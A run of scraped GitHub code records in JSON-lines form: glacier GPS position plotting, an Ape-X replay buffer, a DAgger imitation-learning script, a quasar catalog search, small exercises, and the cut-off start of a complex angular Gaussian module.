tmp_interp_y = tmp_interp.loc[[str(y)+'-06-01' for y in tmp_interp.index.year.unique()],:]\n\n # fig, ax = plt.subplots(2,1,sharex=True)\n # ax[0].plot(tmp_interp.index, tmp_interp.lon, marker='.', linestyle='None', label='hourly estimate')\n # ax[0].plot(tmp_interp_y.index, tmp_interp_y.lon, marker='d', linestyle='None', label='June 1st estimate')\n # ax[0].plot(tmp.index, tmp.lon, marker='o', linestyle='None', label='observed')\n # ax[0].set_ylabel('Longitude (deg W)')\n # ax[0].legend()\n # ax[0].grid()\n\n # ax[1].plot(tmp_interp.index, tmp_interp.lat, marker='.', linestyle='None')\n # ax[1].plot(tmp_interp_y.index, tmp_interp_y.lat, marker='d', linestyle='None')\n # ax[1].plot(tmp.index, tmp.lat, marker='o', linestyle='None')\n # ax[1].set_ylabel('Latitude (deg N)')\n # ax[1].grid()\n # plt.suptitle(station)\n \n tmp_interp.to_csv('output/'+station+'_position_interpolated.csv', float_format='%.5f')\n \n tmp_interp_y['site'] = station\n if len(df_all)==0:\n df_all = tmp_interp_y[['site', 'lon','lat']].reset_index()\n else:\n df_all = pd.concat((df_all, tmp_interp_y[['site', 'lon','lat']].reset_index()))\n \n tmp_interp = tmp_interp.reset_index()\n tmp_interp_y = tmp_interp_y.reset_index()\n \n gdf = gpd.GeoDataFrame(tmp, geometry=gpd.points_from_xy(tmp.lon, tmp.lat))\n gdf = gdf.set_crs(4326)\n gdf = gdf.to_crs(3413)\n gdf['v'] = np.sqrt(gdf.geometry.x.diff()**2 + gdf.geometry.y.diff()**2) / (tmp.index.to_series().diff().dt.days/365)\n gdf['x'] = gdf.geometry.x/1000\n gdf['y'] = gdf.geometry.y/1000\n gdf2 = gpd.GeoDataFrame(tmp_interp_y, geometry=gpd.points_from_xy(tmp_interp_y.lon, tmp_interp_y.lat))\n gdf2 = gdf2.set_crs(4326)\n gdf2 = gdf2.to_crs(3413)\n gdf2['v'] = np.sqrt(gdf2.geometry.x.diff()**2 + gdf2.geometry.y.diff()**2) / (tmp_interp_y.date.diff().dt.days/365)\n gdf2['x'] = gdf2.geometry.x/1000\n gdf2['y'] = gdf2.geometry.y/1000\n print(j, station, '%0.0f'%gdf.loc[gdf.v.notnull(),'v'].median(), '%0.0f'%gdf2.loc[gdf2.v.notnull(),'v'].median())\n\n\n fig, ax=plt.subplots(1,1, figsize=(12,8))\n plt.subplots_adjust(left = 0.2, right=0.8)\n # ax=ax.flatten()\n ax = [ax]\n i = i+1\n ax[0].set_title(tmp.name_long.unique()[0],fontsize=14)\n plt.xlabel('Longitude ($^o$E)',fontsize=14)\n plt.ylabel('Latitude ($^o$N)',fontsize=14)\n w = tmp_interp_y.lon.max() - tmp.lon.min()\n xlim = [tmp_interp_y.lon.min()-w/6, tmp_interp_y.lon.max()+w/6]\n ax[0].set_xlim(xlim)\n h = tmp_interp_y.lat.max() - tmp_interp_y.lat.min()\n ylim = [tmp_interp_y.lat.min()-h/7, tmp_interp_y.lat.max()+h/8]\n ax[0].set_ylim(ylim)\n plt.plot(np.nan,np.nan, 'o',markerfacecolor='k', linestyle='None', label='GPS measurements')\n plt.plot(np.nan,np.nan, 'd',markerfacecolor='r',linestyle='None', label='inter- or extrapolated position on 1 June using \\n spline fit on measured position')\n plt.ticklabel_format(axis='both',style='plain',useOffset=False)\n if station == 'Swiss Camp':\n loc = 'upper left'\n else:\n loc = 'best'\n plt.legend(loc=loc, fontsize=12)\n \n images = []\n for year in gdf.index.year.unique():\n tmp2 = tmp.loc[str(year),:].copy()\n ax[0].plot(tmp2.lon, tmp2.lat, 'k', markersize=10,\n label='observed',\n marker = 'o', linestyle='None')\n if tmp2.shape[0]>1:\n tmp2 = tmp2[['lat','lon']].resample('Y').mean()\n ax[0].annotate(str(tmp2.index.year.values[0]),\n xy=(tmp2.lon, tmp2.lat),\n xycoords='data',\n xytext=(120, 0), \n textcoords='offset pixels',\n fontsize=12,verticalalignment='center',\n path_effects=[pe.withStroke(linewidth=4, foreground=\"white\", alpha = 0.5)],\n arrowprops=dict(arrowstyle=\"-\", edgecolor='black'),\n zorder=0)\n \n if make_gif == 1:\n filename='figs/'+df_pos.loc[df_pos.id==j,'name'].iloc[0]+'_'+str(year)+'.png'\n fig.savefig(filename, dpi=300)\n images.append(imageio.imread(filename))\n os.remove(filename)\n ax[0].plot(tmp_interp_y.lon, tmp_interp_y.lat, \n label='annual inter- or extrapolated',\n marker = 'd',color='tab:red', linestyle='None',\n zorder=0)\n \n for k in range(tmp_interp_y.shape[0]):\n ax[0].annotate(tmp_interp_y.date[k].year,\n xy=(tmp_interp_y.lon[k], tmp_interp_y.lat[k]),\n xycoords='data',\n xytext=(-250, 0), \n textcoords='offset pixels',\n fontsize=11, color='gray',\n arrowprops=dict(arrowstyle=\"-\",edgecolor='lightgray'))\n scale = 500\n loc = 'lower right'\n if station in ['DYE-2', 'NASA-E', 'Tunu-N']:\n scale = 100\n if station in ['Humboldt']:\n scale = 100\n if station in ['NASA-SE']:\n scale = 10\n loc='lower left'\n label = str(scale)+' m'\n if station == 'Swiss Camp':\n scale = 1000\n label = '1 km'\n\n\n R = 6371e3 # metres\n phi = tmp_interp_y.lat.min() * np.pi/180 # φ, λ in radians\n d_lon = 1 * np.pi/180\n \n a = np.cos(phi) **2 * np.sin(d_lon/2) * np.sin(d_lon/2)\n c = 2 * np.arctan2(np.sqrt(a), np.sqrt(1-a))\n \n d = R * c # in km\n\n scalebar = AnchoredSizeBar(ax[0].transData,\n scale/d, label, loc, \n pad=1,\n color='k',\n frameon=False,\n size_vertical=(ylim[1]-ylim[0])/200,\n fontproperties=fm.FontProperties(size=14),\n )\n \n ax[0].add_artist(scalebar)\n filename='figs/'+df_pos.loc[df_pos.id==j,'name'].iloc[0]+'_final.png'\n fig.savefig(filename,dpi=300)\n if make_gif == 1:\n images.append(imageio.imread(filename))\n images.append(imageio.imread(filename))\n images.append(imageio.imread(filename))\n if station == 'Swiss Camp':\n imageio.mimsave('figs/gifs/'+station+'.gif', images, duration=0.4)\n else:\n imageio.mimsave('figs/gifs/'+station+'.gif', images, duration=0.6)\n\n df_all.to_csv('output/GC-Net_annual_summer_position_estimated.csv',index=None)\n\n\n ","repo_name":"GEUS-Glaciology-and-Climate/GCNet_positions","sub_path":"GCN_positions.py","file_name":"GCN_positions.py","file_ext":"py","file_size_in_byte":9526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30743481277","text":"import gc\nimport time\nimport torch\nimport _pickle as pickle\nimport threading\nimport redis\n\nimport numpy as np\n\nfrom copy import deepcopy\nfrom collections import deque\nfrom baseline.utils import loads, ReplayMemory\nfrom baseline.PER import PER\n\nfrom configuration import *\n\n\n# class Replay:\nclass Replay(threading.Thread):\n\n def __init__(self):\n super(Replay, self).__init__()\n self.setDaemon(True)\n\n self.memory = PER(\n maxlen=REPLAY_MEMORY_LEN,\n max_value=1.0,\n beta=BETA)\n\n # PER 구현해보자\n self.cond = False\n self.connect = redis.StrictRedis(host=REDIS_SERVER, port=6379)\n self._lock = threading.Lock()\n self.deque = []\n self.update_list = []\n self.device = torch.device(LEARNER_DEVICE)\n self.total_frame = 0\n self.lock = False\n\n self.idx = []\n self.vals = []\n\n def update(self, idx: list, vals: np.ndarray):\n # self.update_list.append((idx, vals))\n with self._lock:\n self.idx += idx\n self.vals.append(vals)\n\n def _update(self):\n with self._lock:\n if len(self.idx) == 0:\n return\n vals = np.concatenate(self.vals, axis=0)\n if len(vals) != len(self.idx):\n print(\"!!\")\n return\n self.memory.update(self.idx, vals)\n self.vals.clear()\n self.idx.clear()\n\n def buffer(self, print_f=False):\n m = 16\n sample_time = time.time()\n experiences, prob, idx = self.memory.sample(BATCHSIZE * m)\n n = len(self.memory)\n weight = (1 / (n * prob)) ** BETA\n weight /= self.memory.max_weight\n\n if print_f:\n print(\"---Sample Time:{:.3f}\".format(time.time() - sample_time))\n\n preprocess_time = time.time()\n\n experiences = np.array([pickle.loads(bin) for bin in experiences])\n\n # state = np.stack([(bin), dtype=np.uint8) for bin in experiences[:, 0]], 0)\n state = np.stack(experiences[:, 0], 0)\n if print_f:\n print(\"-----PP_01:{:.3f}\".format(preprocess_time - time.time()))\n # S, A, R, S_\n # experiences = np.array([list(map(pickle.loads, experiences))])\n # BATCH, 4\n # state = np.stack(experiences[:, 0], 0)\n if print_f:\n print(\"-----PP_02:{:.3f}\".format(preprocess_time - time.time()))\n\n action = experiences[:, 1]\n # action = [int(i) for i in experiences[:, 1]]\n reward = experiences[:, 2]\n # reward = [float(i) for i in experiences[:, 2]]\n next_state = np.stack(experiences[:, 3], 0)\n # next_state = np.stack([np.frombuffer(base64.b64decode(bin), dtype=np.uint8) for bin in experiences[:, 3]], 0)\n done = experiences[:, 4]\n\n states = np.vsplit(state, m)\n\n actions = np.split(action, m)\n\n rewards = np.split(reward, m)\n\n next_states = np.vsplit(next_state, m)\n\n dones = np.split(done, m)\n\n weights = weight.split(BATCHSIZE)\n idices = idx.split(BATCHSIZE)\n\n for s, a, r, n_s, d, w, i in zip(\n states, actions, rewards, next_states, dones, weights, idices\n ):\n self.deque.append(\n [s, a, r, n_s, d, w, i]\n )\n # done = [bool(i) for i in experiences[:, 4]]\n if print_f:\n print(\"-----PP_03:{:.3f}\".format(preprocess_time - time.time()))\n\n def run(self):\n t = 0\n data = []\n while True:\n if len(self.memory.priority) > 50000:\n if t == 1:\n print(\"Cond is True\")\n self.cond = True\n print(self.cond)\n\n pipe = self.connect.pipeline()\n pipe.lrange(\"experience\", 0, -1)\n pipe.ltrim(\"experience\", -1, 0)\n data += pipe.execute()[0]\n data: list\n self.connect.delete(\"experience\")\n if len(data) > 0:\n check_time = time.time()\n self.memory.push(data)\n # print(\"Push Time:{:.3f}\".format(time.time() - check_time))\n self.total_frame += len(data)\n data.clear()\n # assert len(self.memory.memory) == len(self.memory.priority_torch)\n if len(self.memory) > BUFFER_SIZE:\n if len(self.deque) < 8:\n self.buffer()\n t += 1\n if t == 1:\n print(\"Data Batch Start!!!\")\n if len(self.idx) > 1000:\n self._update()\n self.idx.clear()\n self.vals.clear()\n if self.lock:\n if len(self.memory) < REPLAY_MEMORY_LEN:\n pass\n else:\n self.deque.clear()\n self.memory.remove_to_fit()\n self.idx.clear()\n self.vals.clear()\n self.buffer()\n self.lock = False\n gc.collect()\n\n def sample(self):\n if len(self.deque) > 0:\n return self.deque.pop(0)\n else:\n return False\n\n\nclass Replay_Server(threading.Thread):\n\n def __init__(self):\n super(Replay_Server, self).__init__()\n\n self.setDaemon(True)\n self._lock = threading.Lock()\n self.connect = redis.StrictRedis(host=REDIS_SERVER, port=6379)\n self.connect_push = redis.StrictRedis(\n host=REDIS_SERVER_PUSH, port=6379)\n # FLAG_BATCH\n # FLAG_ENOUGH\n # UPDATE !!\n\n self.deque = []\n self.deque_tmp = []\n self.idx = []\n self.vals = []\n\n def update(self, idx: list, vals: np.ndarray):\n self.idx += idx\n self.vals.append(vals)\n\n def process(self, d):\n m = 16\n state, action, reward, next_state, done, weight, idx = pickle.loads(d)\n states = np.vsplit(state, m)\n\n actions = np.split(action, m)\n\n rewards = np.split(reward, m)\n\n next_states = np.vsplit(next_state, m)\n\n dones = np.split(done, m)\n\n weights = weight.split(BATCHSIZE)\n idices = idx.split(BATCHSIZE)\n with self._lock:\n for s, a, r, n_s, d, w, i in zip(\n states, actions, rewards, next_states, dones, weights, idices\n ):\n self.deque.append(\n [s, a, r, n_s, d, w, i]\n )\n\n def run(self):\n data = []\n while 1:\n pipe = self.connect_push.pipeline()\n pipe.lrange(\"BATCH\", 0, -1)\n pipe.ltrim(\"BATCH\", -1, 0)\n data += pipe.execute()[0]\n self.connect_push.delete(\"BATCH\")\n if len(data) > 0:\n # zxzxzz = time.time()\n with self._lock:\n # print(len(self.deque))\n # self.process(data.pop(0))\n self.deque += deepcopy(data)\n data.clear()\n\n if len(self.deque) > 32:\n self.connect.set(\n \"FLAG_ENOUGH\", pickle.dumps(True)\n )\n else:\n self.connect.set(\n \"FLAG_ENOUGH\", pickle.dumps(False)\n )\n\n if len(self.idx) > 1000:\n vals = np.concatenate(self.vals, 0)\n update = (self.idx, vals)\n self.connect.rpush(\n \"update\", pickle.dumps(update)\n )\n self.idx.clear()\n self.vals.clear()\n\n def sample(self):\n if len(self.deque) > 0:\n\n # print(len(self.deque))\n return pickle.loads(self.deque.pop(0))\n # return self.deque.pop(0)\n else:\n return False\n","repo_name":"seungju-mmc/Distributed_RL","sub_path":"APE_X/ReplayMemory.py","file_name":"ReplayMemory.py","file_ext":"py","file_size_in_byte":7869,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"13782275394","text":"def solution(progresses, speeds):\n answer = []\n a = []\n for i, j in zip(progresses,speeds):\n pro = 100-i\n if j==1 :\n a.append(int(pro//(j)))\n else :\n a.append(int(pro//(j)+1))\n w = a[0]\n num = 1\n for i in range(1,len(a)) :\n if max(w,a[i]) != w :\n w = a[i]\n answer.append(num)\n num = 1\n else :\n num = num + 1\n answer.append(num)\n return answer\n","repo_name":"jeeseungbae/coding_problems","sub_path":"프로그래머스/level2/기능개발.py","file_name":"기능개발.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11840081940","text":"import random\nimport time\n\nclass Admin:\n def __init__(self):\n self.players = 1\n self.time_limit = 60\n self.max_tries = 5\n self.rows = 5\n self.columns = 5\n self.no_tokens = 25\n\n def set_players(self, players):\n self.players = players\n return self.players\n\n def set_time_limit(self, time_limit):\n self.time_limit = time_limit\n return self.time_limit\n\n def set_max_tries(self, max_tries):\n self.max_tries = max_tries\n return self.max_tries\n\n def set_number_of_tokens(self, rows, columns):\n self.rows = rows\n self.columns = columns\n self.no_tokens = self.rows * self.columns\n return self.no_tokens, self.rows, self.columns\n\nclass Board:\n def __init__(self, board_admin):\n self.total_tokens = board_admin.no_tokens\n self.time = board_admin.time_limit\n self.attempts = board_admin.max_tries\n\n def flip(self, x, y):\n time_left = self.time\n current_attempt = 0\n while time_left > 0 and current_attempt >= self.attempts:\n time_left = time.time() - time_left\n if choice in Tokens.list_of_tokens and Tokens.sides is False:\n Tokens.sides = True\n if choice == WiningToken.wining_token:\n return \"You win!\"\n else:\n print(\"Please try again.\\n\")\n print(time_left)\n else:\n print(\"Invalid choice, token is already flipped!\")\n\n current_attempt += 1\n\n if current_attempt == self.attempts:\n print(\"You have no chances left!\")\n break\n\nclass Tokens(Board):\n def generate_tokens(self, board_admin):\n list_of_tokens = []\n sides = False\n token_coordinates = \"\"\n generated_tokens = 0\n x = 0\n y = 0\n while generated_tokens < board_admin.no_tokens:\n while x < board_admin.no_tokens:\n x += 1\n continue\n while y < board_admin.no_tokens:\n y += 1\n continue\n token_coordinates = str((x, y))\n list_of_tokens.append(token_coordinates)\n generated_tokens += 1\n return sides, list_of_tokens, token_coordinates\n\nclass WiningToken(Tokens):\n def generate_win_token(self):\n row = random.randint(0, Tokens.rows)\n column = random.randint(0, Tokens.columns)\n wining_token = str((row, column))\n return wining_token\n\nclass Player:\n def play(self, board_admin, input_board):\n while True:\n option = int(input(\"Menu\\n==========\\nSelect and option: \\n1.Set up\\n2.Play\\n3.Quit\\n\"))\n if option == 1:\n board_admin.set_number_of_tokens(int(input(\"Set the desired number of rows: \\n\")), int(input(\"Set the desired number of columns: \\n\")))\n board_admin.set_time_limit(int(input(\"Set the time limit: \\n\")))\n board_admin.set_max_tries(int(input(\"Set the maximum amount of tries: \\n\")))\n board_admin.set_players(int(input(\"Enter the number of players: \\n\")))\n elif option == 2:\n Tokens.generate_tokens(Tokens, board_admin)\n input_board.flip(input(\"Enter the x-axis coordinate of the winning coin: \"), input(\"Enter the y-axis coordinate of the winning coin: \"))\n elif option == 3:\n quit()\n else:\n print(\"Invalid values!\")\n\nadmin1 = Admin()\nboard1 = Board(admin1)\nPlayer.play(Player, admin1, board1)\n","repo_name":"dewardvide/FlipTheTokenBoardGame","sub_path":"FlipTheTokenBoardGame.py","file_name":"FlipTheTokenBoardGame.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15566573908","text":"def search_milliquas_galex_catalog(gal_name, gal_ra, gal_dec,\n gal_dist_kpc, within_radius_kpc=100,\n fuvmag_limit=18.5):\n \"\"\"\n Search new QSOs within certain radius of (gal_ra, gal_dec)\n from the cross-matched Million QSO catalog (Flesch 2017, v5.2) and Galex.\n\n gal_ra: ra of host galaxy, in unit of degree\n gal_dec: dec of host galaxy, in unit of degree\n gal_dist_kpc: distance of host galaxy, in unit of kpc\n within_radius_kpc: search sightlines within this radius, in unit of kpc\n \"\"\"\n\n import numpy as np\n import astropy.units as u\n from astropy.coordinates import SkyCoord\n from astroquery import mast\n from astropy.table import Table\n from yzObs.kpc2deg import kpc2deg\n\n # coordinate setup for central galaxy\n gal_coord = SkyCoord(ra=gal_ra*u.deg, dec=gal_dec*u.deg,\n frame='icrs', distance=gal_dist_kpc*u.kpc)\n\n print(\"*\"*90)\n print(\"Cross match the Million QSOs (Fleshch17; v5.2) + GALEX catalog\")\n print(\"within %.1f kpc of %s (RA=%.4f, DEC=%.4f, l=%.4f, b=%.4f)\"%(within_radius_kpc,\n gal_name, gal_ra, gal_dec, gal_coord.galactic.l.degree, gal_coord.galactic.b.degree))\n\n # read in the QSO catalog\n cat_dir = '/Users/Yong/Dropbox/Databucket'\n millgalex = Table.read(cat_dir+'/milliquas_v5.2_galex_jb032219.fits', format='fits')\n\n # this catalog is toooooo large, let's do a rough filtering first\n sepdeg = kpc2deg(within_radius_kpc, gal_dist_kpc)\n rough_dist = np.sqrt((millgalex['ra']-gal_ra)**2 + (millgalex['dec']-gal_dec)**2)\n close_ids = rough_dist <= 2*sepdeg\n close_millgalex = millgalex[close_ids]\n print(\"%d/%d QSOs are roughly within 2*%d kpc of the target.\"%(len(close_millgalex),\n len(millgalex),\n within_radius_kpc))\n\n # only look at targets with FUV mag within certian limits\n fuvbright_ids = close_millgalex['fuv'] <= fuvmag_limit\n final_millgalex = close_millgalex[fuvbright_ids]\n print(\"Still too many, limit to FUVmag<=%.2f. Found %d candidates.\"%(fuvmag_limit,\n len(final_millgalex)))\n\n # search within certain radius\n found_id = []\n for j in range(len(final_millgalex)):\n qcoord = SkyCoord(ra=final_millgalex['ra'][j]*u.degree, dec=final_millgalex['dec'][j]*u.degree,\n distance=gal_dist_kpc*u.kpc, frame='icrs')\n impact = gal_coord.separation_3d(qcoord)\n if impact.kpc <= within_radius_kpc:\n found_id.append(j)\n\n if len(found_id) == 0:\n print(\"Found nothing.\")\n else:\n print('%25s %8s %5s %10s %10s %10s %10s %7s'%('QSO',\n 'z', 'fuv', 'ra', 'dec', 'l', 'b', 'impact'))\n\n # just to sort things using impact parameters\n c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11 = [], [], [], [], [], [], [], [], [], [], []\n for i in found_id:\n qra, qdec = final_millgalex['ra'][i], final_millgalex['dec'][i]\n qcoord = SkyCoord(ra=qra*u.degree, dec=qdec*u.degree,\n frame='icrs', distance=gal_dist_kpc*u.kpc)\n impact = gal_coord.separation_3d(qcoord)\n c1.append(final_millgalex['name'][i])\n c2.append(qra)\n c3.append(qdec)\n c4.append(qcoord.galactic.l.degree)\n c5.append(qcoord.galactic.b.degree)\n c6.append(final_millgalex['z'][i])\n c7.append(final_millgalex['Vmag'][i])\n c8.append(final_millgalex['fuv'][i])\n c9.append(final_millgalex['nuv'][i])\n c10.append(impact.kpc)\n c11.append(impact.kpc/within_radius_kpc)\n\n sortinds = np.argsort(c10)\n for k in sortinds:\n print('%25s %8.3f %5.2f %10.4f %10.4f %10.4f %10.4f %7.1f(%.2f)'%(c1[k],\n c6[k], c8[k], c2[k], c3[k], c4[k], c5[k], c10[k], c11[k]))\n print(\"\\n\")\n","repo_name":"yzhenggit/yzObs","sub_path":"search_milliquas_galex_catalog.py","file_name":"search_milliquas_galex_catalog.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14706618476","text":"import tensorflow as tf\nimport os\nimport numpy as np\nimport tqdm\nimport gym\nimport load_policy\nimport math\nimport logz\nimport time\n\nclass Config(object):\n n_features = 17\n n_classes = 6\n dropout = 0.5\n hidden_size_1 = 128\n hidden_size_2 = 256\n hidden_size_3 = 64\n batch_size = 256\n lr = 0.0005\n itera = 20\n train_itera = 20\n envname = 'Walker2d-v1'\n max_steps = 1000\n\nclass NN(object):\n def add_placeholders(self):\n self.input_placeholder = tf.placeholder(tf.float32, shape=(None, Config.n_features), name=\"input\")\n self.labels_placeholder = tf.placeholder(tf.float32, shape=(None, Config.n_classes), name=\"label\")\n self.dropout_placeholder = tf.placeholder(tf.float32, name=\"drop\")\n self.is_training = tf.placeholder(tf.bool)\n\n def create_feed_dict(self, inputs_batch, labels_batch=None, dropout=1, is_training=False):\n if labels_batch is None:\n feed_dict = {self.input_placeholder: inputs_batch,\n self.dropout_placeholder: dropout, self.is_training: is_training}\n else:\n feed_dict = {self.input_placeholder: inputs_batch, self.labels_placeholder: labels_batch,\n self.dropout_placeholder: dropout, self.is_training: is_training}\n return feed_dict\n\n def add_prediction_op(self):\n self.global_step = tf.Variable(0)\n with tf.name_scope('layer1'):\n hidden1 = tf.contrib.layers.fully_connected(self.input_placeholder, num_outputs=Config.hidden_size_1,\n activation_fn=tf.nn.relu)\n with tf.name_scope('layer2'):\n hidden2 = tf.contrib.layers.fully_connected(hidden1, num_outputs=Config.hidden_size_2,\n activation_fn=tf.nn.relu)\n with tf.name_scope('layer3'):\n hidden3 = tf.contrib.layers.fully_connected(hidden2, num_outputs=Config.hidden_size_3,\n activation_fn=tf.nn.relu)\n with tf.name_scope('output'):\n pred = tf.contrib.layers.fully_connected(hidden3, num_outputs=Config.n_classes,\n activation_fn=None)\n return pred\n\n def add_loss_op(self, pred):\n loss = tf.losses.mean_squared_error(predictions=pred, labels=self.labels_placeholder)\n tf.summary.scalar('loss', loss)\n return loss\n\n def add_training_op(self, loss):\n extra_update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(extra_update_ops):\n learning_rate = tf.train.exponential_decay(Config.lr, self.global_step, 1000, 0.8, staircase=True)\n train_op = tf.train.AdamOptimizer(learning_rate).minimize(loss, global_step=self.global_step)\n return train_op\n\n def train_on_batch(self, sess, inputs_batch, labels_batch, merged, train_writer, i):\n feed = self.create_feed_dict(inputs_batch, labels_batch, self.config.dropout, True)\n rs, _, loss = sess.run([merged, self.train_op, self.loss], feed_dict=feed)\n train_writer.add_summary(rs, i)\n return loss\n\n def __init__(self, config):\n self.config = config\n self.build()\n\n def fit(self, sess, train_x, train_y):\n loss = self.train_on_batch(sess, train_x, train_y)\n\n def build(self):\n with tf.name_scope('inputs'):\n self.add_placeholders()\n with tf.name_scope('predict'):\n self.pred = self.add_prediction_op()\n with tf.name_scope('loss'):\n self.loss = self.add_loss_op(self.pred)\n with tf.name_scope('train'):\n self.train_op = self.add_training_op(self.loss)\n\n def get_pred(self, sess, inputs_batch):\n feed = self.create_feed_dict(inputs_batch, dropout=1, is_training=False)\n p = sess.run(self.pred, feed_dict=feed)\n return p\n\ndef load(path):\n all = np.load(path)\n X = all[\"arr_0\"]\n y = all[\"arr_1\"]\n y1 = y.reshape(y.shape[0], y.shape[2])\n return X, y1\n\ndef run_env(env, nn,session):\n obs = env.reset()\n done = False\n totalr = 0.\n steps = 0\n observations = []\n while not done:\n action = nn.get_pred(session, obs[None, :])\n observations.append(obs)\n obs, r, done, _ = env.step(action)\n totalr += r\n steps += 1\n # if args.render:\n # env.render()\n if steps >= Config.max_steps:\n break\n return totalr, observations\n\ndef shuffle(X_train, y_train):\n training_data = np.concatenate((X_train, y_train), axis=1)\n np.random.shuffle(training_data)\n X = training_data[:, :-Config.n_classes]\n y = training_data[:, -Config.n_classes:]\n return X, y\n\n\ndef main():\n PROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))\n train_path = os.path.join(PROJECT_ROOT, \"data/\"+Config.envname+\".train.npz\")\n policy_path = os.path.join(PROJECT_ROOT, \"experts/\"+Config.envname+\".pkl\")\n train_log_path = os.path.join(PROJECT_ROOT, \"log/train/\")\n logz.configure_output_dir(os.path.join(PROJECT_ROOT, \"log/\"+Config.envname+\"_DA_\"+time.strftime(\"%d-%m-%Y_%H-%M-%S\")))\n\n X_train, y_train = load(train_path)#debug\n\n print(\"train size :\", X_train.shape, y_train.shape)\n print(\"start training\")\n\n with tf.Graph().as_default():\n config = Config()\n nn = NN(config)\n init = tf.global_variables_initializer()\n saver = tf.train.Saver(max_to_keep=10, keep_checkpoint_every_n_hours=0.5)\n\n print('loading and building expert policy')\n policy_fn = load_policy.load_policy(policy_path)\n print('loaded and built')\n\n with tf.Session() as session:\n merged = tf.summary.merge_all()\n train_writer = tf.summary.FileWriter(train_log_path, session.graph)\n session.run(init)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(session, coord)\n\n #iter\n for j in tqdm.tqdm(range(Config.itera)):\n #train\n X_train, y_train = shuffle(X_train, y_train)\n i = 0\n try:\n for i in range(int(math.ceil(Config.train_itera * X_train.shape[0] / Config.batch_size))):\n offset = (i * Config.batch_size) % X_train.shape[0]\n # shuffle\n batch_x = X_train[offset:(offset + Config.batch_size), :]\n batch_y = y_train[offset:(offset + Config.batch_size)]\n loss = nn.train_on_batch(session, batch_x, batch_y, merged, train_writer, i)\n i += 1\n print(\"step:\", i, \"loss:\", loss)\n # saver.save(session, os.path.join(PROJECT_ROOT, \"model/model_ckpt\"), global_step=i)\n except tf.errors.OutOfRangeError:\n print(\"done\")\n finally:\n coord.request_stop()\n coord.join(threads)\n\n #get new data and label\n observations = []\n actions = []\n env = gym.make(Config.envname)\n for _ in range(10):\n _, o = run_env(env, nn, session)\n observations.extend(o)\n action = policy_fn(o)\n actions.extend(action)\n\n new_x = np.array(observations)\n new_y = np.array(actions)\n X_train = np.concatenate((X_train, new_x))\n y_train = np.concatenate((y_train, new_y))\n print(\"train size :\", X_train.shape, y_train.shape)\n\n #test\n # print(\"iter:\", j, \" train finished\")\n # print(Config.envname + \" start\")\n\n rollouts = 20\n returns = []\n for _ in range(rollouts):\n totalr, _ = run_env(env, nn, session)\n returns.append(totalr)\n\n # print('results for ', Config.envname)\n # print('returns', returns)\n # print('mean return', np.mean(returns), 'std of return', np.std(returns))\n # print('mean return', np.mean(returns))\n print()\n\n logz.log_tabular('Iteration', j)\n logz.log_tabular('AverageReturn', np.mean(returns))\n logz.log_tabular('StdReturn', np.std(returns))\n logz.dump_tabular()\n\n\nif __name__ == '__main__':\n main()","repo_name":"Observerspy/CS294","sub_path":"hw1/DAgger.py","file_name":"DAgger.py","file_ext":"py","file_size_in_byte":8509,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"5"} +{"seq_id":"28830342618","text":"\"\"\"\nReferences:\n David E. Tyler\n Statistical analysis for the angular central Gaussian distribution on the\n sphere\n 1987\n\n N. Ito, S. Araki, T. Nakatani\n Complex angular central Gaussian mixture model for directional statistics in\n mask-based microphone array signal processing\n 2016\n https://www.eurasip.org/Proceedings/Eusipco/Eusipco2016/papers/1570256519.pdf\n\"\"\"\n\nfrom dataclasses import dataclass\n\nimport numpy as np\nfrom pb_bss.utils import is_broadcast_compatible\nfrom pb_bss.distribution.utils import force_hermitian\nfrom pb_bss.distribution.utils import _ProbabilisticModel\nfrom pb_bss.distribution.utils import _unit_norm\nfrom pb_bss.distribution.complex_circular_symmetric_gaussian import (\n ComplexCircularSymmetricGaussian\n)\n\n\n__all__ = [\n 'ComplexAngularCentralGaussian',\n 'ComplexAngularCentralGaussianTrainer',\n 'sample_complex_angular_central_gaussian',\n]\n\n\ndef normalize_observation(observation):\n \"\"\"\n\n Attention: swap D and N dim\n\n The dimensions are swapped, because some calculations (e.g. covariance) do\n a reduction over the sample (time) dimension. Having the time dimension on\n the last axis improves the execution time.\n\n Args:\n observation: (..., N, D)\n\n Returns:\n normalized observation (..., D, N)\n \"\"\"\n observation = _unit_norm(\n observation,\n axis=-1,\n eps=np.finfo(observation.dtype).tiny,\n eps_style='where',\n )\n return np.ascontiguousarray(np.swapaxes(observation, -2, -1))\n\n\ndef sample_complex_angular_central_gaussian(\n size,\n covariance,\n):\n csg = ComplexCircularSymmetricGaussian(covariance=covariance)\n x = csg.sample(size=size)\n x /= np.linalg.norm(x, axis=-1, keepdims=True)\n return x\n\n\n@dataclass\nclass ComplexAngularCentralGaussian(_ProbabilisticModel):\n \"\"\"\n\n\n Note:\n Instead of the covariance the eigenvectors and eigenvalues are saved.\n These saves some computations, because to have a more stable covariance,\n the eigenvalues are floored.\n \"\"\"\n covariance_eigenvectors: np.array = None # (..., D, D)\n covariance_eigenvalues: np.array = None # (..., D)\n\n @classmethod\n def from_covariance(\n cls,\n covariance,\n eigenvalue_floor=0.,\n covariance_norm='eigenvalue',\n ):\n if covariance_norm == 'trace':\n cov_trace = np.einsum('...dd', covariance)[..., None, None]\n covariance /= np.maximum(cov_trace, np.finfo(cov_trace.dtype).tiny)\n else:\n assert covariance_norm in ['eigenvalue', False]\n\n try:\n eigenvals, eigenvecs = np.linalg.eigh(covariance)\n except np.linalg.LinAlgError:\n # ToDo: figure out when this happen and why eig may work.\n # It is likely that eig is more stable than eigh.\n try:\n eigenvals, eigenvecs = np.linalg.eig(covariance)\n except np.linalg.LinAlgError:\n if eigenvalue_floor == 0:\n raise RuntimeError(\n 